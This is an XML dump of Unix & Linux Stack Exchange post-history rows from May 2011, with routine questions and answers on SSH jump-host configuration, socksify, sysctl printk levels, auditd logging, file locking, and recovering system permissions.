  <row Id="32102" PostHistoryTypeId="2" PostId="13022" RevisionGUID="693545ad-87f2-476b-85f1-7859505caab4" CreationDate="2011-05-11T19:49:09.423" UserId="3524" Text="I add to the `.ssh/config` such definition:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Host SERVER-A&#xD;&#xA;        ProxyCommand ssh SERVER-B nc -q0 %h %p 2&gt; /dev/null&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and then just use `ssh` or `scp` in normal way:&#xD;&#xA;&#xD;&#xA;    ssh user@SERVER-A&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    scp file.tar.gz user@SERVER-A:~&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;During setting the connection with `SERVER-A` the ssh library finds these configuration. It tells that ssh should use some proxy command to connect. The proxy commands connect with `SERVER-B` and then execute `nc` command (netcat) wich forward all output from proxy command to given server for given port, its define by `%h` and `%p` parameters.&#xD;&#xA;&#xD;&#xA;Such construction also allow you to use key authentication. you have just copy your public from client machine on both servers: `SERVER-A` and `SERVER-B`.&#xD;&#xA;&#xD;&#xA;Such configuration is also compatible with others application which use ssh library, for example `rsync`, `sftp` or GUI clients." />
  <row Id="32103" PostHistoryTypeId="5" PostId="13021" RevisionGUID="73b0f28c-a0e4-49c4-9334-13cfcabd5b36" CreationDate="2011-05-11T19:54:38.903" UserId="6960" Comment="added 22 characters in body" Text="I need a program that allows me to pass an application through a socks server, even if the program does not have native socks support. Under Ubuntu I can use socksify for this. What can I use under Fedora?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="32104" PostHistoryTypeId="12" PostId="13018" RevisionGUID="1ac0dfc4-0358-4b81-b950-cd7aa57d1b59" CreationDate="2011-05-11T19:58:16.887" UserId="4105" Text="[{&quot;Id&quot;:4105,&quot;DisplayName&quot;:&quot;Fritschy&quot;}]" />
  <row Id="32105" PostHistoryTypeId="13" PostId="13018" RevisionGUID="aa5c3ce8-1d08-42e1-adc3-580deff5857b" CreationDate="2011-05-11T19:59:25.027" UserId="4105" Text="[{&quot;Id&quot;:4105,&quot;DisplayName&quot;:&quot;Fritschy&quot;}]" />
  <row Id="32106" PostHistoryTypeId="2" PostId="13023" RevisionGUID="d7ec7d6a-f50f-46cf-ab53-6a0991d07271" CreationDate="2011-05-11T20:02:03.480" UserId="885" Text="Sysctl settings are documented in [`Documentation/sysctl/*.txt`](http://www.kernel.org/doc/Documentation/sysctl/) in the kernel source tree. On Debian, install [`linux-doc`](http://packages.debian.org/linux-doc) to have the documentation in `usr/share/doc/linux-doc-*/Documentation/` (most distributions have a similar package). From [`Documentation/sysctl/kernel.txt`](http://www.kernel.org/doc/Documentation/sysctl/kernel.txt):&#xD;&#xA;&#xD;&#xA;&gt; The four values in `printk` denote: `console_loglevel`,&#xD;&#xA;`default_message_loglevel`, `minimum_console_loglevel` and&#xD;&#xA;`default_console_loglevel` respectively.&#xD;&#xA;&#xD;&#xA;&gt; These values influence `printk()` behavior when printing or&#xD;&#xA;logging error messages. See [`man 2 syslog`](http://kernel.org/doc/man-pages/online/pages/man2/syslog.2.html) for more info on&#xD;&#xA;the different loglevels.&#xD;&#xA;&#xD;&#xA;&gt; - `console_loglevel`: messages with a higher priority than&#xD;&#xA;  this will be printed to the console&#xD;&#xA;- `default_message_loglevel`: messages without an explicit priority&#xD;&#xA;  will be printed with this priority&#xD;&#xA;- `minimum_console_loglevel`: minimum (highest) value to which&#xD;&#xA;  console_loglevel can be set&#xD;&#xA;- `default_console_loglevel`: default value for `console_loglevel`&#xD;&#xA;&#xD;&#xA;I don't find any clear prose explanation of what `default_console_loglevel` is used for. In the [Linux kernel source](http://lxr.linux.no/linux), the `kernel.printk` sysctl sets [`console_printk`](http://lxr.linux.no/linux+v2.6.38/include/linux/printk.h#L27). The `default_console_loglevel` field doesn't seem to be used anywhere.&#xD;&#xA;" />
  <row Id="32107" PostHistoryTypeId="6" PostId="13019" RevisionGUID="df39bdd6-e6e9-441f-8e32-040b989173a8" CreationDate="2011-05-11T20:02:17.427" UserId="885" Comment="edited tags" Text="élinuxàékernelàélogsàésysctlà" />
  <row Id="32108" PostHistoryTypeId="5" PostId="13016" RevisionGUID="49ac29eb-f2f9-4e56-bc3e-25f3f1f711e6" CreationDate="2011-05-11T20:17:03.150" UserId="1952" Comment="added 149 characters in body" Text="    ssh server1 'ssh server2'&#xD;&#xA;&#xD;&#xA;seems a little bit simpler to me. One can even copy files like this:&#xD;&#xA;&#xD;&#xA;    ssh server1 &quot;ssh server2 'cat myFile'&quot; &gt;myFile&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    ssh server1 &quot;ssh server2 'cat &gt;myFile'&quot; &lt;myFile" />
  <row Id="32109" PostHistoryTypeId="2" PostId="13024" RevisionGUID="6ad4b8fe-6c94-408f-adae-2aef11418e42" CreationDate="2011-05-11T20:18:21.867" UserId="885" Text="You can log all invocations of a specific executable (setuid or not) through the [audit subsystem](http://people.redhat.com/sgrubb/audit/). The documentation is rather sparse; start with the [auditctl man page](http://manpages.ubuntu.com/manpages/lucid/man8/auditctl.8.html), or perhaps [this tutorial](http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html). Most recent distributions ship an `auditd` package. Install it and make sure the `auditd` daemon is running, then do&#xD;&#xA;&#xD;&#xA;    auditctl -A exit,always -F path=/path/to/executable -S execve&#xD;&#xA;&#xD;&#xA;and watch the calls get logged in `/var/log/audit/audit.log` (or wherever your distribution has set this up).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32110" PostHistoryTypeId="6" PostId="13009" RevisionGUID="01e18865-1a1a-4d41-8ec1-bd367cc3b7bd" CreationDate="2011-05-11T20:21:39.070" UserId="885" Comment="edited tags" Text="éfedoraàépackageömanagementàégnome3à" />
  <row Id="32111" PostHistoryTypeId="2" PostId="13025" RevisionGUID="70f8d9c5-6664-4083-96c1-0c539dc62796" CreationDate="2011-05-11T20:23:02.127" UserId="591" Text="There is no `flock` or similar command for Solaris. If I want to do simple locking I use `mkdir` as it's a monatomic operation and avoids potential race conditions with the usual check files exists/touch combination. &#xD;&#xA;&#xD;&#xA;    mkdir /tmp/lockfile &amp;&gt;/dev/null&#xD;&#xA;    if [[ $? -ne &quot;0&quot; ]]&#xD;&#xA;    then&#xD;&#xA;        echo &quot;Lock exists exiting&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="32112" PostHistoryTypeId="2" PostId="13026" RevisionGUID="66bdf3a3-3605-4f26-b972-507b33f969fb" CreationDate="2011-05-11T20:23:02.050" UserId="1209" Text="You could get the source for socksify and rebuild it under Fedora, if you can't find a Fedora package.  On Ubuntu where you using socksify provided by [dante-client][1]?  If so, then the download for the source can be found on the [Dante home][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/squeeze/dante-client&#xD;&#xA;  [2]: http://www.inet.no/dante/" />
  <row Id="32113" PostHistoryTypeId="6" PostId="13010" RevisionGUID="0c764e3c-220a-4eee-9208-8c1e5f70ec4a" CreationDate="2011-05-11T20:23:01.550" UserId="885" Comment="edited tags; edited title" Text="ébashàéshellàéquotingà" />
  <row Id="32114" PostHistoryTypeId="4" PostId="13010" RevisionGUID="0c764e3c-220a-4eee-9208-8c1e5f70ec4a" CreationDate="2011-05-11T20:23:01.550" UserId="885" Comment="edited tags; edited title" Text="Dollar sign interpolation inside quotes in bash" />
  <row Id="32115" PostHistoryTypeId="6" PostId="13021" RevisionGUID="618bc776-8e68-486a-8877-3f48c8e8d758" CreationDate="2011-05-11T20:29:22.370" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàésocksà" />
  <row Id="32116" PostHistoryTypeId="5" PostId="13017" RevisionGUID="7b86aad5-9f24-4118-9cbc-a5fcd99021a1" CreationDate="2011-05-11T20:42:05.083" UserId="885" Comment="clarify that it's about logging all setuid program invocations" Text="I would like to have a log file that contains an entry for every time a user runs any suid program, containing the user name, the program and any command line arguments passed to it. Is there a standard way to achieve this on Linux?" />
  <row Id="32117" PostHistoryTypeId="4" PostId="13017" RevisionGUID="7b86aad5-9f24-4118-9cbc-a5fcd99021a1" CreationDate="2011-05-11T20:42:05.083" UserId="885" Comment="clarify that it's about logging all setuid program invocations" Text="Log every invocation of every SUID program?" />
  <row Id="32118" PostHistoryTypeId="2" PostId="13027" RevisionGUID="b6433656-1cf2-42e8-b163-bff03831b8ec" CreationDate="2011-05-11T20:50:14.323" UserId="2421" Text="I just upgraded my Gentoo Linux computer (where I'm running Xvnc from [TigerVNC][1] 1.0.90 (1.1 beta 1) compiled myself against xorg-server 1.9.5), and I'm no longer getting any bell sounds, just silence.  (In particular, when I hit Ctrl-G in Emacs.)  This used to work before the upgrades.  (I upgraded quite a lot of things, unfortunately, so I'm not really sure which one caused it.)&#xD;&#xA;&#xD;&#xA;I double-checked my viewer settings, and &quot;Beep when requested&quot; is checked.  I do get beeps when they're generated by a program on my local computer, so it must be the server that isn't sending beep requests.&#xD;&#xA;&#xD;&#xA;How can I fix this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tigervnc.org/" />
  <row Id="32119" PostHistoryTypeId="1" PostId="13027" RevisionGUID="b6433656-1cf2-42e8-b163-bff03831b8ec" CreationDate="2011-05-11T20:50:14.323" UserId="2421" Text="System beep not working in TigerVNC" />
  <row Id="32120" PostHistoryTypeId="3" PostId="13027" RevisionGUID="b6433656-1cf2-42e8-b163-bff03831b8ec" CreationDate="2011-05-11T20:50:14.323" UserId="2421" Text="éxorgàéaudioàévncàétigervncà" />
  <row Id="32121" PostHistoryTypeId="5" PostId="11187" RevisionGUID="051a7d8c-f806-4197-b97a-a45bafdc2401" CreationDate="2011-05-11T21:03:23.777" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Common multiple SSH connections file handling issue](http://unix.stackexchange.com/questions/10731/common-multiple-ssh-connections-file-handling-issue)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I used to do something like that often:&#xD;&#xA;&#xD;&#xA;    home $&gt; ssh user@server1&#xD;&#xA;    user@server1's password:&#xD;&#xA;    server1 $&gt; ssh user@server2&#xD;&#xA;    user@server2's password:&#xD;&#xA;    server2 $&gt;&#xD;&#xA;&#xD;&#xA;Server2 is available from server1 only, so I have to do stuff like that all time.&#xD;&#xA;&#xD;&#xA;So, question is. How can I do 2 consecutive logins in one command?&#xD;&#xA;&#xD;&#xA;    home $&gt; ssh_many user@server1 user@server2&#xD;&#xA;    user@server1's password:&#xD;&#xA;    user@server2's password:&#xD;&#xA;    server2 $&gt;" />
  <row Id="32122" PostHistoryTypeId="10" PostId="11187" RevisionGUID="e0cb6068-9684-479a-a455-4b87f8583f37" CreationDate="2011-05-11T21:03:22.793" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32123" PostHistoryTypeId="5" PostId="13004" RevisionGUID="02b54416-6e92-48c6-a22a-41e240a18428" CreationDate="2011-05-11T21:03:33.790" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Common multiple SSH connections file handling issue](http://unix.stackexchange.com/questions/10731/common-multiple-ssh-connections-file-handling-issue)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I want to reach hosts that are only indirectly accessible with SSH/SCP/SFTP.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there more solutions for this?&lt;br&gt;&#xD;&#xA;Are there any **small** and **clean** howtos for it?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;E.g.:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	SERVER-A&#xD;&#xA;	|&#xD;&#xA;	SERVER-B&#xD;&#xA;	|&#xD;&#xA;	CLIENT&#xD;&#xA;&#xD;&#xA;I need to reach SERVER-A from the CLIENT with SCP.&lt;br&gt;&#xD;&#xA;SERVER-A is &quot;behind&quot; SERVER-B." />
  <row Id="32124" PostHistoryTypeId="10" PostId="13004" RevisionGUID="757999b5-909e-4913-8ad1-2e8fcedb9de8" CreationDate="2011-05-11T21:03:33.433" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32125" PostHistoryTypeId="18" PostId="13004" RevisionGUID="96ba756a-f70c-44f7-889d-cc8bac6cbc8e" CreationDate="2011-05-11T21:06:33.727" UserId="73" Comment="to http://unix.stackexchange.com/questions/10731/common-multiple-ssh-connections-file-handling-issue" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32126" PostHistoryTypeId="18" PostId="13006" RevisionGUID="96ba756a-f70c-44f7-889d-cc8bac6cbc8e" CreationDate="2011-05-11T21:06:33.727" UserId="73" Comment="from http://unix.stackexchange.com/questions/13004/how-to-chain-ssh" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32127" PostHistoryTypeId="18" PostId="13016" RevisionGUID="96ba756a-f70c-44f7-889d-cc8bac6cbc8e" CreationDate="2011-05-11T21:06:33.727" UserId="73" Comment="from http://unix.stackexchange.com/questions/13004/how-to-chain-ssh" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32128" PostHistoryTypeId="18" PostId="13018" RevisionGUID="96ba756a-f70c-44f7-889d-cc8bac6cbc8e" CreationDate="2011-05-11T21:06:33.727" UserId="73" Comment="from http://unix.stackexchange.com/questions/13004/how-to-chain-ssh" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32129" PostHistoryTypeId="18" PostId="13022" RevisionGUID="96ba756a-f70c-44f7-889d-cc8bac6cbc8e" CreationDate="2011-05-11T21:06:33.727" UserId="73" Comment="from http://unix.stackexchange.com/questions/13004/how-to-chain-ssh" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32130" PostHistoryTypeId="18" PostId="10731" RevisionGUID="96ba756a-f70c-44f7-889d-cc8bac6cbc8e" CreationDate="2011-05-11T21:06:33.727" UserId="73" Comment="from http://unix.stackexchange.com/questions/13004/how-to-chain-ssh" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32131" PostHistoryTypeId="14" PostId="13004" RevisionGUID="adfa2714-9fd9-4cb3-8ac4-8cd4fa6f2e2e" CreationDate="2011-05-11T21:06:34.570" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32132" PostHistoryTypeId="25" PostId="13017" RevisionGUID="5b80131a-34da-4d96-9c97-23d4d234a535" CreationDate="2011-05-11T21:11:49.717" Comment="http://twitter.com/#!/StackUnix/status/68423085958770688" />
  <row Id="32133" PostHistoryTypeId="5" PostId="12980" RevisionGUID="95549061-a8df-4533-a2b7-7e23c4462f22" CreationDate="2011-05-11T21:17:57.940" UserId="73" Comment="Added a note clarifying the difference between this and a typical shopping rec question" Text="&gt; **Mod note**: The entire network is pretty against shopping recommendation questions; there was an attempt to edit this one to avoid it, but it seems to have failed. The goal is &quot;how do I decide which printer to buy&quot;, not &quot;which printer should I buy&quot;. If you're naming a specific model in your answer, you're probably doing it wrong&#xD;&#xA;&#xD;&#xA;I am interested in purchasing a printer and scanner and would very much like the convenience of using an all-in-one model. The issue is that I am a very strict user of Debian GNU/Linux. I have heard very bad things about all-in-one support.&#xD;&#xA;&#xD;&#xA;I'm looking for low-end (preferably even store-bought models) that I can safely print and scan with, using free software. If I have to install a non-free binary driver; I would do so, but it wouldn't be my preference. However, I do want to ensure it works with Debian.&#xD;&#xA;&#xD;&#xA;What resources can I consult before buying to ensure the model I select will work?&#xD;&#xA;And if only a few models work, how can I find the needle in the haystack?&#xD;&#xA;" />
  <row Id="32138" PostHistoryTypeId="2" PostId="13028" RevisionGUID="2d44e72e-68e4-4911-9f85-555e10a79301" CreationDate="2011-05-11T21:21:14.553" UserId="7081" Text="OpenSUSE 11.4 is smooth and polished, and has great support and community. You can actually download a livedisk already running gnome 3 from http://www.gnome3.org/tryit.html, or you can just update/upgrade the default install. " />
  <row Id="32139" PostHistoryTypeId="2" PostId="13029" RevisionGUID="17b67fa6-faa9-4364-814c-bf08f856dfcb" CreationDate="2011-05-11T21:36:13.553" UserId="7081" Text="So, due to an issue with gnome-power-manager, gnome-shell, and my nvidia card, I'm left in the awkward position of coming out of suspension/sleep with my graphics broken. This problem resolves itself if I'm able to use the Alt + F2 command line to restart gnome-shell. However, sometimes, I'm unable to actually access that menu, and I have to do it blindly with the broken graphics. &#xD;&#xA;&#xD;&#xA;Rather than switching to the power-eating nouveau drivers, I thought I'd just try to replicate the functionality of &#xD;&#xA;&#xD;&#xA;    r&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    restart&#xD;&#xA;in the Alt + F2 menu in a script and have it execute upon recovering from suspend. &#xD;&#xA;&#xD;&#xA;Any advice/ideas? I don't really know where to start. &#xD;&#xA;&#xD;&#xA;(Alternately, if you've got another workaround/solution..?)&#xD;&#xA;&#xD;&#xA;edit: these guys are discussing the same problem: https://bbs.archlinux.org/viewtopic.php?pid=932527&#xD;&#xA;" />
  <row Id="32140" PostHistoryTypeId="1" PostId="13029" RevisionGUID="17b67fa6-faa9-4364-814c-bf08f856dfcb" CreationDate="2011-05-11T21:36:13.553" UserId="7081" Text="How can I automatically restart gnome-shell coming out of suspend mode?" />
  <row Id="32141" PostHistoryTypeId="3" PostId="13029" RevisionGUID="17b67fa6-faa9-4364-814c-bf08f856dfcb" CreationDate="2011-05-11T21:36:13.553" UserId="7081" Text="égnomeàéscriptingàénvidiaàégnomeöshellà" />
  <row Id="32142" PostHistoryTypeId="2" PostId="13030" RevisionGUID="f5815e8c-178a-4ccf-b2a7-07edc603d28c" CreationDate="2011-05-11T21:36:24.673" UserId="6456" Text="I would uninstall Xorg's keyboard driver and then set following option in xorg.conf:&#xD;&#xA;&#xD;&#xA;    Option &quot;DisableModInDev&quot;" />
  <row Id="32143" PostHistoryTypeId="5" PostId="13030" RevisionGUID="13b33a34-948e-4d3f-af34-4ea258142846" CreationDate="2011-05-11T21:49:51.033" UserId="6456" Comment="added 204 characters in body; added 7 characters in body" Text="Firstly set following option to disable hotplugging in xorg.conf or xorg.conf.d/misc.conf:&#xD;&#xA;&#xD;&#xA;    Section &quot;ServerFlags&quot;&#xD;&#xA;        Option &quot;DisableModInDev&quot; &quot;True&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;Then disable all keyboards:&#xD;&#xA;&#xD;&#xA;    Section &quot;InputClass&quot;&#xD;&#xA;        MatchIsKeyboard       &quot;True&quot;&#xD;&#xA;        Option &quot;Ignore&quot;       &quot;True&quot;&#xD;&#xA;    EndSection" />
  <row Id="32144" PostHistoryTypeId="2" PostId="13031" RevisionGUID="874fb12a-fac9-443c-aa05-df0bee6b143d" CreationDate="2011-05-11T21:54:14.063" UserId="885" Text="Problems? Yes, lots. Can it be fixed? Sure. Faster than reinstalling? Probably not.&#xD;&#xA;&#xD;&#xA;My recommendation is to reinstall. Keep a backup of the existing system, and restore the package list and the contents of files in `/etc` and `/var`. For `/usr/local`, you can probably restore permissions manually. For `/home` and `/srv`, you'll have to restore the permissions from backups.&#xD;&#xA;&#xD;&#xA;If this is a system with multiple local users, note that making some files world-readable has revealed some things that should have remained confidential.&#xD;&#xA;&#xD;&#xA;* Your password list is now compromised: local users have had access to the hashed password list and could try to brute-force them. Notify your users of this.&#xD;&#xA;* All private user data (ssh keys, stored passwords, e-mail, whatever else users might consider confidential) has been exposed to all local users. Notify your users of this.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you really want to try repairing (more of a learning exercise than a practical recovery route), first restore the permissions of a few files. Note that while most files are now too open, a few are missing necessary [setuid](http://en.wikipedia.org/wiki/Setuid) bits. Here are steps you should take before anything else. Note that this is not an exhaustive list, just an attempt at making the system barely functional.&#xD;&#xA;&#xD;&#xA;    chmod -R go-w /&#xD;&#xA;    chmod 440 /etc/sudoers&#xD;&#xA;    chmod 640 /etc/shadow /etc/gshadow&#xD;&#xA;    chmod 600 /etc/ssh/*_key /etc/ssh*key   # whichever matches&#xD;&#xA;    chmod 710 /etc/ssl/private /etc/cups/ssl&#xD;&#xA;    chmod 1777 /tmp /var/tmp /var/lock&#xD;&#xA;    chmod 4755 /bin/su /usr/bin/passwd /usr/bin/sudo /usr/bin/sudoedit&#xD;&#xA;    chmod 2755 /var/mail /var/spool/mail&#xD;&#xA;&#xD;&#xA;Then you'll need to restore all the permissions everywhere. For files under `/usr`, you can reinstall the packages (e.g. with `apt-get --reinstall install` on Debian, Ubuntu and other distributions using APT). For files under `/etc` and `/var`, that won't work, as many of them will be left as they are: you'll have to replicate the permissions on a working installation. For files under `/srv` and `/home`, you'll have to restore from backups anyway. As you can see, you might as well reinstall.&#xD;&#xA;" />
  <row Id="32145" PostHistoryTypeId="2" PostId="13032" RevisionGUID="3d5f9d9d-83e7-41f1-98a4-c35217c1e39b" CreationDate="2011-05-11T22:13:18.243" UserId="4142" Text="You can find it under &lt;code&gt;Applications-&gt;System Tools-&gt;Add/remove software&lt;/code&gt; menu item; the features are searching for package names, application titles or description, and package groups.&#xD;&#xA;Alternatively, you could install &lt;code&gt;yumex&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;Fedora pkgdb is also a good source of information:&#xD;&#xA;https://admin.fedoraproject.org/pkgdb&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32146" PostHistoryTypeId="2" PostId="13033" RevisionGUID="2994af82-3a01-4a17-ad75-e2091c765af5" CreationDate="2011-05-11T22:55:32.377" UserId="6940" Text="Hello, I'm one of the authors of that patch, sorry it is so buggy :)&#xD;&#xA;&#xD;&#xA;In general to find null pointers like this I just insert printks until I find the pointer that is null (=0), then I read the source code until I find out why.&#xD;&#xA;&#xD;&#xA;However in this case I know that you have to disable framebuffer console or you'll get this nasty bug, which is only triggered when the console is visible. Or it could be the bug triggered when you unplug the keyboard, and the module still tries to write to the now invalid buffer.&#xD;&#xA;&#xD;&#xA;You should check out the new code on [github][1], which I am attempting to clean up right now, to make it easier to compile against arbitrary kernels, and which has quite a few bug fixes.&#xD;&#xA;&#xD;&#xA;Also, drop by our IRC, #lg4l on freenode.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ali1234/lg4l" />
  <row Id="32147" PostHistoryTypeId="25" PostId="13008" RevisionGUID="3376f357-9c24-476d-b161-eeec2b36d804" CreationDate="2011-05-12T00:11:50.170" Comment="http://twitter.com/#!/StackUnix/status/68468385868029952" />
  <row Id="32148" PostHistoryTypeId="2" PostId="13034" RevisionGUID="073408a8-1ce1-44e4-8616-a3263e9f56c8" CreationDate="2011-05-12T00:16:53.133" UserId="7399" Text="Howdy!&#xD;&#xA;&#xD;&#xA;Is it possible to divorce my input from the overall shell using Screen?  What I'm aiming for is akin to a status line that expands if I type more than would fit within a single line and is 'submitted'/'sent' to the shell when I press enter.&#xD;&#xA;&#xD;&#xA;I'm looking to put together a simple configuration to use as a MUSH/MUD/MUCK/MOO client using screen+telnet.  The current issue with using telnet is that data sent from the remote server is inserted at the cursor position, which sucks badly if you're typing a lengthy paragraph.&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;&#xD;&#xA;— Alice." />
  <row Id="32149" PostHistoryTypeId="1" PostId="13034" RevisionGUID="073408a8-1ce1-44e4-8616-a3263e9f56c8" CreationDate="2011-05-12T00:16:53.133" UserId="7399" Text="Divorced input line in GNU Screen." />
  <row Id="32150" PostHistoryTypeId="3" PostId="13034" RevisionGUID="073408a8-1ce1-44e4-8616-a3263e9f56c8" CreationDate="2011-05-12T00:16:53.133" UserId="7399" Text="éshellàéterminalàéscreenàételnetà" />
  <row Id="32151" PostHistoryTypeId="5" PostId="12911" RevisionGUID="253620fa-f6b1-4279-bd8b-8ca12739fc4f" CreationDate="2011-05-12T00:35:22.023" UserId="6935" Comment="Added svnserve info" Text="Change `AuthName Spring projects` to `AuthName &quot;Spring projects&quot;`. The parameter needs to be in quotes if it has spaces.&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;Since the HTTP access issue is more than just a syntax issue, if you're open to `svn://` access, I'd say give that go. This [link][1] shows how to set up `svnserve` on Ubuntu.&#xD;&#xA;&#xD;&#xA;Since you've got it installed, you can glance over the bit at the begining, and carry on from the point where it is running `svnserve -d --foreground -r /var/repos`. Of course you'd replace `/var/repos` with `/windows/mediahdd1/Repositories`, and you'd access your repository from the client as `svn://&lt;your_host&gt;/Spring`.&#xD;&#xA;&#xD;&#xA;Hopefully this one works out for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gkspk.com/view/programming/setting-up-a-subversion-server/" />
  <row Id="32152" PostHistoryTypeId="5" PostId="13034" RevisionGUID="18ed963a-7250-4233-879d-9e93654ecc30" CreationDate="2011-05-12T00:36:46.267" UserId="73" Comment="deleted 34 characters in body" Text="Is it possible to divorce my input from the overall shell using Screen?  What I'm aiming for is akin to a status line that expands if I type more than would fit within a single line and is 'submitted'/'sent' to the shell when I press enter.&#xD;&#xA;&#xD;&#xA;I'm looking to put together a simple configuration to use as a MUSH/MUD/MUCK/MOO client using screen+telnet.  The current issue with using telnet is that data sent from the remote server is inserted at the cursor position, which sucks badly if you're typing a lengthy paragraph.&#xD;&#xA;" />
  <row Id="32153" PostHistoryTypeId="5" PostId="12977" RevisionGUID="38a418ee-51cb-4745-a842-431b456a907c" CreationDate="2011-05-12T01:19:48.090" UserId="1879" Comment="added 2 characters in body" Text="    for file in $(ls -p | grep -v / | tail -100)&#xD;&#xA;    do&#xD;&#xA;    mv $file /other/location&#xD;&#xA;    done" />
  <row Id="32154" PostHistoryTypeId="2" PostId="13035" RevisionGUID="863f0978-0bd5-4c04-8bd4-0f339dd37efb" CreationDate="2011-05-12T01:21:48.527" UserId="6940" Text="Ok, turns out the answer was staring me in the face.&#xD;&#xA;&#xD;&#xA;Firstly, whether using our custom driver, or using the generic one that normally takes over the device, it's still all ultimately controlled by HID, and not USB.&#xD;&#xA;&#xD;&#xA;Previously I tried to unbind it from HID, which is not the way to go. HID has sub-drivers, the one that takes over devices that have no specialized driver is called generic-usb. This is what I needed to unbind from, before binding to hid-g19. Also, I needed to use the HID address which looks like &quot;0003:046d:c229.0036&quot; and not the USB address which looks &quot;1-1.1:1.1&quot;.&#xD;&#xA;&#xD;&#xA;So before rebinding I would see this on dmesg:&#xD;&#xA;&#xD;&#xA;    generic-usb 0003:046D:C229.0036: input,hiddev0,hidraw4: USB HID v1.11 Keypad [Logitech G19 Gaming Keyboard] on usb-0000:00:13.2-3.2/input1&#xD;&#xA;&#xD;&#xA;Then I do:&#xD;&#xA;&#xD;&#xA;    echo -n &quot;0003:046D:C229.0036&quot; &gt; /sys/bus/hid/drivers/generic-usb/unbind&#xD;&#xA;    echo -n &quot;0003:046D:C229.0036&quot; &gt; /sys/bus/hid/drivers/hid-g19/bind&#xD;&#xA;&#xD;&#xA;And then I see on dmesg:&#xD;&#xA;&#xD;&#xA;    hid-g19 0003:046D:C229.0036: input,hiddev0,hidraw4: USB HID v1.11 Keypad [Logitech G19 Gaming Keyboard] on usb-0000:00:13.2-3.2/input1&#xD;&#xA;&#xD;&#xA;So like I said, staring me in the face, because the two key pieces of information are the first two things on the line when the device binds..." />
  <row Id="32155" PostHistoryTypeId="5" PostId="13000" RevisionGUID="663f9e6b-adbb-479d-ab12-a7b0e89be112" CreationDate="2011-05-12T02:01:35.667" UserId="2511" Comment="added 4 characters in body" Text="You may not notice it at first, but lots of things can and will go wrong. The main problem is that the entire security model for the entire system is broken. It's like having a body without a skin, organs all out in the air. It's bound to get infected because it's not meant to function like that. Even if it seems to work for a few minutes, you need to clean this up.&#xD;&#xA;&#xD;&#xA;The best way would actually be to start from scratch. This way will greatly reduce your risk and give you a cleaner result.&#xD;&#xA;&#xD;&#xA;If you do try to clean it up, The primary way would be to tell your distro's packages manager to reinstall EVERYTHING on the system including, overwriting config files. Then use whatever verify system it has to look through them and make sure none of them are flagged as having files with permissions out of the ordinary. Next, work through things like user home directories and reset everything to sane permissions en masse, then work through the few things that should have special permissions (like ssh keys files). Lastly, do a full system find for everything marked as 777 and go through the list (it should be small if you've done the other steps thoroughly) and work through them one by one making sure they should be the way they are." />
  <row Id="32156" PostHistoryTypeId="25" PostId="13019" RevisionGUID="d42bd9f2-4914-4fe9-a088-245060ce9db8" CreationDate="2011-05-12T03:11:50.620" Comment="http://twitter.com/#!/StackUnix/status/68513685865369600" />
